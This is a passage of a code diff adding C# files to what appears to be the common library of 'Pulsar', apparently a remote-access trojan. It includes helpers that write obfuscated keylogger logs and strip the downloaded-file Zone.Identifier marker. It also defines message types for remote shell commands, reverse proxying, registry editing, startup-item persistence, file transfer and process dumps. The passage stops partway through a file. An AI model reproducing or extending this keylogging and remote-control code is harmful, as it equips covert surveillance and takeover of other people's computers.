case ".flv":
return ContentType.Video;
case ".mp3":
case ".wav":
case ".pls":
case ".m3u":
case ".m4a":
return ContentType.Audio;
}
}
}
}
+20
View File
@@ -0,0 +1,20 @@
using System;
using System.Windows.Forms;
namespace Pulsar.Common.Helpers
{
public static class ClipboardHelper
{
public static void SetClipboardTextSafe(string text)
{
try
{
Clipboard.SetText(text);
}
catch (Exception)
{
}
}
}
}
+228
View File
@@ -0,0 +1,228 @@
using Pulsar.Common.Cryptography;
using System;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Text;
namespace Pulsar.Common.Helpers
{
public static class FileHelper
{
private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
public static bool HasIllegalCharacters(string path)
{
return path.Any(c => IllegalPathChars.Contains(c));
}
public static string GetRandomFilename(int length, string extension = "")
{
return string.Concat(StringHelper.GetRandomString(length), extension);
}
public static string GetTempFilePath(string extension = "")
{
string tempFilePath;
do
{
tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
} while (File.Exists(tempFilePath));
return tempFilePath;
}
public static bool HasExecutableIdentifier(byte[] binary)
{
if (binary.Length < 2) return false;
return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M');
}
public static bool DeleteZoneIdentifier(string filePath)
{
return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
}
public static void WriteLogFile(string filename, string appendText, Aes256 aes)
{
appendText = ReadLogFile(filename, aes) + appendText;
using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
{
byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText));
fStream.Write(data, 0, data.Length);
fStream.Flush(true);
}
}
public static string ReadLogFile(string filename, Aes256 aes)
{
return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
}
/// <summary>
/// Append obfuscated (and compressed) text in temp/log files safely using framed chunks.
/// Each write: [4-byte length][obfuscated bytes].
/// The plain text is compressed with GZip before obfuscation to save disk space.
/// </summary>
public static void WriteObfuscatedLogFile(string filename, string appendText)
{
if (string.IsNullOrEmpty(filename)) throw new ArgumentNullException(nameof(filename));
if (appendText == null) appendText = string.Empty;
byte[] plainBytes = Encoding.UTF8.GetBytes(appendText);
// Compress plaintext first to save space (backwards-compatible: readers will detect gzip)
byte[] compressed = CompressGzip(plainBytes);
// Obfuscate the compressed bytes
byte[] obfBytes = ByteRotationObfuscator.Obfuscate(compressed);
string dir = Path.GetDirectoryName(filename);
if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
Directory.CreateDirectory(dir);
try
{
using (var fs = File.Open(filename, FileMode.Append, FileAccess.Write, FileShare.Read))
using (var bw = new BinaryWriter(fs, Encoding.UTF8))
{
bw.Write(obfBytes.Length); // 4-byte length prefix
bw.Write(obfBytes); // obfuscated (compressed) chunk
bw.Flush();
fs.Flush(true);
}
}
catch
{
// silently ignore append errors to avoid crashing keylogger
}
}
/// <summary>
/// Read obfuscated log file with support for framed chunks and automatic gzip decompression.
/// Falls back to legacy single-block deobfuscation if framed read fails.
/// </summary>
public static string ReadObfuscatedLogFile(string filename)
{
if (string.IsNullOrEmpty(filename) || !File.Exists(filename))
return string.Empty;
try
{
byte[] allBytes = File.ReadAllBytes(filename);
if (allBytes.Length == 0) return string.Empty;
using (var ms = new MemoryStream(allBytes))
using (var br = new BinaryReader(ms, Encoding.UTF8))
{
var sb = new StringBuilder();
bool framed = true;
while (ms.Position < ms.Length)
{
if (ms.Length - ms.Position < 4)
{
framed = false;
break;
}
int len = br.ReadInt32();
if (len < 0 || len > ms.Length - ms.Position)
{
framed = false;
break;
}
byte[] chunk = br.ReadBytes(len);
if (chunk == null || chunk.Length == 0)
continue;
// Deobfuscate chunk first
byte[] deob = ByteRotationObfuscator.Deobfuscate(chunk);
// Try to detect gzip via magic bytes and decompress to raw bytes
try
{
if (deob.Length >= 2 && deob[0] == 0x1F && deob[1] == 0x8B)
{
byte[] decompressedBytes = DecompressGzipToBytes(deob);
sb.Append(Encoding.UTF8.GetString(decompressedBytes));
}
else
{
// Not compressed — interpret directly as UTF8
sb.Append(Encoding.UTF8.GetString(deob));
}
}
catch
{
// On any failure, try to at least interpret deob as UTF8 to avoid losing text
try { sb.Append(Encoding.UTF8.GetString(deob)); } catch { /* ignore */ }
}
}
if (framed) return sb.ToString();
}
}
catch
{
// ignore and fallback
}
// fallback to legacy single-block deobfuscation (file previously written without framing or compression)
try
{
byte[] obfAll = File.ReadAllBytes(filename);
byte[] deobAll = ByteRotationObfuscator.Deobfuscate(obfAll);
// If deobAll appears to be gzip compressed, decompress
if (deobAll.Length >= 2 && deobAll[0] == 0x1F && deobAll[1] == 0x8B)
{
byte[] decompressed = DecompressGzipToBytes(deobAll);
return Encoding.UTF8.GetString(decompressed);
}
return Encoding.UTF8.GetString(deobAll);
}
catch
{
return string.Empty;
}
}
private static byte[] DecompressGzipToBytes(byte[] compressed)
{
using (var input = new MemoryStream(compressed))
using (var gzip = new System.IO.Compression.GZipStream(input, System.IO.Compression.CompressionMode.Decompress))
using (var output = new MemoryStream())
{
gzip.CopyTo(output);
return output.ToArray();
}
}
private static byte[] CompressGzip(byte[] data)
{
try
{
using (var output = new MemoryStream())
{
using (var gzip = new GZipStream(output, CompressionLevel.Optimal, leaveOpen: true))
{
gzip.Write(data, 0, data.Length);
}
// Reset position to read full compressed array
output.Position = 0;
return output.ToArray();
}
}
catch
{
// if compression fails, return original data to avoid data loss
return data;
}
}
}
}
+166
View File
@@ -0,0 +1,166 @@
using System;
using System.Management;
using System.Text.RegularExpressions;
namespace Pulsar.Common.Helpers
{
public static class PlatformHelper
{
/// <summary>
/// Initializes the <see cref="PlatformHelper"/> class.
/// </summary>
static PlatformHelper()
{
Win32NT = Environment.OSVersion.Platform == PlatformID.Win32NT;
SevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 1));
EightOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 2, 9200));
EightPointOneOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(6, 3));
TenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0));
ElevenOrHigher = Win32NT && (Environment.OSVersion.Version >= new Version(10, 0) && Environment.OSVersion.Version.Build >= 22000);
Name = GetOSNameFromEnvironment();
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
Is64Bit = Environment.Is64BitOperatingSystem;
FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit";
}
/// <summary>
/// Gets the full name of the operating system running on this computer (including the edition and architecture).
/// </summary>
public static string FullName { get; }
/// <summary>
/// Gets the name of the operating system running on this computer (including the edition).
/// </summary>
public static string Name { get; }
/// <summary>
/// Determines whether the Operating System is 32 or 64-bit.
/// </summary>
/// <value>
/// <c>true</c> if the Operating System is 64-bit, otherwise <c>false</c> for 32-bit.
/// </value>
public static bool Is64Bit { get; }
/// <summary>
/// Returns a indicating whether the Operating System is Windows 32 NT based.
/// </summary>
/// <value>
/// <c>true</c> if the Operating System is Windows 32 NT based; otherwise, <c>false</c>.
/// </value>
public static bool Win32NT { get; }
/// <summary>
/// Returns a value indicating whether the Operating System is Windows 7 or higher.
/// </summary>
/// <value>
/// <c>true</c> if the Operating System is Windows 7 or higher; otherwise, <c>false</c>.
/// </value>
public static bool SevenOrHigher { get; }
/// <summary>
/// Returns a value indicating whether the Operating System is Windows 8 or higher.
/// </summary>
/// <value>
/// <c>true</c> if the Operating System is Windows 8 or higher; otherwise, <c>false</c>.
/// </value>
public static bool EightOrHigher { get; }
/// <summary>
/// Returns a value indicating whether the Operating System is Windows 8.1 or higher.
/// </summary>
/// <value>
/// <c>true</c> if the Operating System is Windows 8.1 or higher; otherwise, <c>false</c>.
/// </value>
public static bool EightPointOneOrHigher { get; }
/// <summary>
/// Returns a value indicating whether the Operating System is Windows 10 or higher.
/// </summary>
/// <value>
/// <c>true</c> if the Operating System is Windows 10 or higher; otherwise, <c>false</c>.
/// </value>
public static bool TenOrHigher { get; }
/// <summary>
/// Returns a value indicating whether the Operating System is Windows 11 or higher.
/// </summary>
/// <value>
/// <c>true</c> if the Operating System is Windows 11 or higher; otherwise, <c>false</c>.
/// </value>
public static bool ElevenOrHigher { get; }
/// <summary>
/// Gets the OS name from environment variables and registry as fallback for WMI.
/// </summary>
private static string GetOSNameFromEnvironment()
{
try
{
// Try to get from registry first (more reliable than WMI)
using (var key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion"))
{
if (key != null)
{
var productName = key.GetValue("ProductName")?.ToString();
var currentBuild = key.GetValue("CurrentBuild")?.ToString();
var displayVersion = key.GetValue("DisplayVersion")?.ToString();
var ubr = key.GetValue("UBR")?.ToString(); // Update Build Revision
if (!string.IsNullOrEmpty(productName))
{
// Fix Windows 11 detection - registry might still report "Windows 10" in some cases
if (productName.Contains("Windows 10"))
{
// Check if this is actually Windows 11
if (int.TryParse(currentBuild, out int buildNumber) && buildNumber >= 22000)
{
return "Windows 11" + (string.IsNullOrEmpty(displayVersion) ? "" : " " + displayVersion);
}
}
// Handle Windows 11 that's properly reported in registry
if (productName.Contains("Windows 11"))
{
return productName;
}
return productName;
}
}
}
// Fallback to Environment.OSVersion with proper Windows 11 detection
var version = Environment.OSVersion;
if (version.Platform == PlatformID.Win32NT)
{
// Windows 11 has build number 22000 or higher
if (version.Version.Major == 10 && version.Version.Minor == 0)
{
return version.Version.Build >= 22000 ? "Windows 11" : "Windows 10";
}
else if (version.Version.Major == 6)
{
if (version.Version.Minor == 3) return "Windows 8.1";
if (version.Version.Minor == 2) return "Windows 8";
if (version.Version.Minor == 1) return "Windows 7";
if (version.Version.Minor == 0) return "Windows Vista";
}
else if (version.Version.Major == 5)
{
if (version.Version.Minor == 2) return "Windows XP Professional x64 Edition";
if (version.Version.Minor == 1) return "Windows XP";
if (version.Version.Minor == 0) return "Windows 2000";
}
}
}
catch
{
// Ignore errors
}
return "Unknown OS";
}
}
}
+80
View File
@@ -0,0 +1,80 @@
using Pulsar.Common.Utilities;
using System.Text;
using System.Text.RegularExpressions;
namespace Pulsar.Common.Helpers
{
public static class StringHelper
{
/// <summary>
/// Available alphabet for generation of random strings.
/// </summary>
private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
/// <summary>
/// Abbreviations of file sizes.
/// </summary>
private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" };
/// <summary>
/// Random number generator.
/// </summary>
private static readonly SafeRandom Random = new SafeRandom();
/// <summary>
/// Gets a random string with given length.
/// </summary>
/// <param name="length">The length of the random string.</param>
/// <returns>A random string.</returns>
public static string GetRandomString(int length)
{
StringBuilder randomName = new StringBuilder(length);
for (int i = 0; i < length; i++)
randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
return randomName.ToString();
}
/// <summary>
/// Gets the human readable file size for a given size.
/// </summary>
/// <param name="size">The file size in bytes.</param>
/// <returns>The human readable file size.</returns>
public static string GetHumanReadableFileSize(long size)
{
double len = size;
int order = 0;
while (len >= 1024 && order + 1 < Sizes.Length)
{
order++;
len = len / 1024;
}
return $"{len:0.##} {Sizes[order]}";
}
/// <summary>
/// Gets the formatted MAC address.
/// </summary>
/// <param name="macAddress">The unformatted MAC address.</param>
/// <returns>The formatted MAC address.</returns>
public static string GetFormattedMacAddress(string macAddress)
{
return (macAddress.Length != 12)
? "00:00:00:00:00:00"
: Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6");
}
/// <summary>
/// Safely removes the last N chars from a string.
/// </summary>
/// <param name="input">The input string.</param>
/// <param name="amount">The amount of last chars to remove (=N).</param>
/// <returns>The input string with N removed chars.</returns>
public static string RemoveLastChars(string input, int amount = 2)
{
if (input.Length > amount)
input = input.Remove(input.Length - amount);
return input;
}
}
}
+124
View File
@@ -0,0 +1,124 @@
using Pulsar.Common.Models;
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
namespace Pulsar.Common.IO
{
public class FileSplit : IEnumerable<FileChunk>, IDisposable
{
/// <summary>
/// The maximum size per file chunk.
/// </summary>
public readonly int MaxChunkSize = 65535;
/// <summary>
/// The file path of the opened file.
/// </summary>
public string FilePath => _fileStream.Name;
/// <summary>
/// The file size of the opened file.
/// </summary>
public long FileSize => _fileStream.Length;
/// <summary>
/// The file stream of the opened file.
/// </summary>
private readonly FileStream _fileStream;
/// <summary>
/// Initializes a new instance of the <see cref="FileSplit"/> class using the given file path and access mode.
/// </summary>
/// <param name="filePath">The path to the file to open.</param>
/// <param name="fileAccess">The file access mode for opening the file. Allowed are <see cref="FileAccess.Read"/> and <see cref="FileAccess.Write"/>.</param>
public FileSplit(string filePath, FileAccess fileAccess)
{
switch (fileAccess)
{
case FileAccess.Read:
_fileStream = File.OpenRead(filePath);
break;
case FileAccess.Write:
_fileStream = File.OpenWrite(filePath);
break;
default:
throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write.");
}
}
/// <summary>
/// Writes a chunk to the file. In other words.
/// </summary>
/// <param name="chunk"></param>
public void WriteChunk(FileChunk chunk)
{
_fileStream.Seek(chunk.Offset, SeekOrigin.Begin);
_fileStream.Write(chunk.Data, 0, chunk.Data.Length);
}
/// <summary>
/// Reads a chunk of the file.
/// </summary>
/// <param name="offset">Offset of the file, must be a multiple of <see cref="MaxChunkSize"/> for proper reconstruction.</param>
/// <returns>The read file chunk at the given offset.</returns>
/// <remarks>
/// The returned file chunk can be smaller than <see cref="MaxChunkSize"/> iff the
/// remaining file size from the offset is smaller than <see cref="MaxChunkSize"/>,
/// then the remaining file size is used.
/// </remarks>
public FileChunk ReadChunk(long offset)
{
_fileStream.Seek(offset, SeekOrigin.Begin);
long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize
? _fileStream.Length - _fileStream.Position
: MaxChunkSize;
var chunkData = new byte[chunkSize];
_fileStream.Read(chunkData, 0, chunkData.Length);
return new FileChunk
{
Data = chunkData,
Offset = _fileStream.Position - chunkData.Length
};
}
/// <summary>
/// Returns an enumerator that iterates through the file chunks.
/// </summary>
/// <returns>An <see cref="IEnumerator"/> object that can be used to iterate through the file chunks.</returns>
public IEnumerator<FileChunk> GetEnumerator()
{
for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++)
{
yield return ReadChunk(currentChunk * MaxChunkSize);
}
}
/// <inheritdoc />
IEnumerator IEnumerable.GetEnumerator()
{
return GetEnumerator();
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
_fileStream.Dispose();
}
}
/// <summary>
/// Disposes all managed and unmanaged resources associated with this class.
/// </summary>
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
}
}
Binary file not shown.
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.Actions
{
[MessagePackObject]
public class DoShutdownAction : IMessage
{
[Key(1)]
public ShutdownAction Action { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class DoPathDelete : IMessage
{
[Key(1)]
public string Path { get; set; }
[Key(2)]
public FileType PathType { get; set; }
}
}
@@ -0,0 +1,19 @@
using MessagePack;
using Pulsar.Common.Enums;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class DoPathRename : IMessage
{
[Key(1)]
public string Path { get; set; }
[Key(2)]
public string NewPath { get; set; }
[Key(3)]
public FileType PathType { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class DoZipFolder : IMessage
{
[Key(1)]
public string SourcePath { get; set; }
[Key(2)]
public string DestinationPath { get; set; }
[Key(3)]
public int CompressionLevel { get; set; } = (int)System.IO.Compression.CompressionLevel.Optimal;
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class FileTransferCancel : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string Reason { get; set; }
}
}
@@ -0,0 +1,25 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class FileTransferChunk : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string FilePath { get; set; }
[Key(3)]
public long FileSize { get; set; }
[Key(4)]
public FileChunk Chunk { get; set; }
[Key(5)]
public string FileExtension { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class FileTransferComplete : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string FilePath { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class FileTransferRequest : IMessage
{
[Key(1)]
public int Id { get; set; }
[Key(2)]
public string RemotePath { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDirectory : IMessage
{
[Key(1)]
public string RemotePath { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDirectoryResponse : IMessage
{
[Key(1)]
public string RemotePath { get; set; }
[Key(2)]
public FileSystemEntry[] Items { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDrives : IMessage
{
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class GetDrivesResponse : IMessage
{
[Key(1)]
public Drive[] Drives { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.FileManager
{
[MessagePackObject]
public class SetStatusFileManager : IMessage
{
[Key(1)]
public string Message { get; set; }
[Key(2)]
public bool SetLastDirectorySeen { get; set; }
}
}
@@ -0,0 +1,16 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoChangeRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegValueData Value { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoCreateRegistryKey : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
}
}
@@ -0,0 +1,16 @@
using Microsoft.Win32;
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoCreateRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegistryValueKind Kind { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoDeleteRegistryKey : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string KeyName { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoDeleteRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string ValueName { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoLoadRegistryKey : IMessage
{
[Key(1)]
public string RootKeyName { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoRenameRegistryKey : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string OldKeyName { get; set; }
[Key(3)]
public string NewKeyName { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class DoRenameRegistryValue : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string OldValueName { get; set; }
[Key(3)]
public string NewValueName { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetChangeRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegValueData Value { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetCreateRegistryKeyResponse : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public RegSeekerMatch Match { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetCreateRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public RegValueData Value { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetDeleteRegistryKeyResponse : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string KeyName { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetDeleteRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string ValueName { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,22 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetRegistryKeysResponse : IMessage
{
[Key(1)]
public RegSeekerMatch[] Matches { get; set; }
[Key(2)]
public string RootKey { get; set; }
[Key(3)]
public bool IsError { get; set; }
[Key(4)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,24 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetRenameRegistryKeyResponse : IMessage
{
[Key(1)]
public string ParentPath { get; set; }
[Key(2)]
public string OldKeyName { get; set; }
[Key(3)]
public string NewKeyName { get; set; }
[Key(4)]
public bool IsError { get; set; }
[Key(5)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,24 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RegistryEditor
{
[MessagePackObject]
public class GetRenameRegistryValueResponse : IMessage
{
[Key(1)]
public string KeyPath { get; set; }
[Key(2)]
public string OldValueName { get; set; }
[Key(3)]
public string NewValueName { get; set; }
[Key(4)]
public bool IsError { get; set; }
[Key(5)]
public string ErrorMsg { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RemoteShell
{
[MessagePackObject]
public class DoShellExecute : IMessage
{
[Key(1)]
public string Command { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.RemoteShell
{
[MessagePackObject]
public class DoShellExecuteResponse : IMessage
{
[Key(1)]
public string Output { get; set; }
[Key(2)]
public bool IsError { get; set; }
}
}
@@ -0,0 +1,18 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyConnect : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
[Key(2)]
public string Target { get; set; }
[Key(3)]
public int Port { get; set; }
}
}
@@ -0,0 +1,24 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyConnectResponse : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
[Key(2)]
public bool IsConnected { get; set; }
[Key(3)]
public byte[] LocalAddress { get; set; }
[Key(4)]
public int LocalPort { get; set; }
[Key(5)]
public string HostName { get; set; }
}
}
@@ -0,0 +1,15 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyData : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
[Key(2)]
public byte[] Data { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.ReverseProxy
{
[MessagePackObject]
public class ReverseProxyDisconnect : IMessage
{
[Key(1)]
public int ConnectionId { get; set; }
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoStartupItemAdd : IMessage
{
[Key(1)]
public StartupItem StartupItem { get; set; }
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class DoStartupItemRemove : IMessage
{
[Key(1)]
public StartupItem StartupItem { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.StartupManager
{
[MessagePackObject]
public class GetStartupItems : IMessage
{
}
}
@@ -0,0 +1,14 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
using System.Collections.Generic;
namespace Pulsar.Common.Messages.Administration.StartupManager
{
[MessagePackObject]
public class GetStartupItemsResponse : IMessage
{
[Key(1)]
public List<StartupItem> StartupItems { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.SystemInfo
{
[MessagePackObject]
public class GetSystemInfo : IMessage
{
}
}
@@ -0,0 +1,14 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using System;
using System.Collections.Generic;
namespace Pulsar.Common.Messages
{
[MessagePackObject]
public class GetSystemInfoResponse : IMessage
{
[Key(1)]
public List<Tuple<string, string>> SystemInfos { get; set; }
}
}
@@ -0,0 +1,21 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TCPConnections
{
[MessagePackObject]
public class DoCloseConnection : IMessage
{
[Key(1)]
public string LocalAddress { get; set; }
[Key(2)]
public ushort LocalPort { get; set; }
[Key(3)]
public string RemoteAddress { get; set; }
[Key(4)]
public ushort RemotePort { get; set; }
}
}
@@ -0,0 +1,10 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TCPConnections
{
[MessagePackObject]
public class GetConnections : IMessage
{
}
}
@@ -0,0 +1,13 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Models;
namespace Pulsar.Common.Messages.Administration.TCPConnections
{
[MessagePackObject]
public class GetConnectionsResponse : IMessage
{
[Key(1)]
public TcpConnection[] Connections { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessDump : IMessage
{
[Key(1)]
public int Pid { get; set; }
}
}
@@ -0,0 +1,30 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
namespace Pulsar.Common.Messages.Administration.TaskManager
{
[MessagePackObject]
public class DoProcessDumpResponse : IMessage
{
[Key(1)]
public bool Result { get; set; }
[Key(2)]
public string DumpPath { get; set; }
[Key(3)]
public long Length { get; set; }
[Key(4)]
public int Pid { get; set; }
[Key(5)]
public string ProcessName { get; set; }
[Key(6)]
public string FailureReason { get; set; }
[Key(7)]
public long UnixTime { get; set; }
}
}
@@ -0,0 +1,12 @@
using MessagePack;
using Pulsar.Common.Messages.Other;
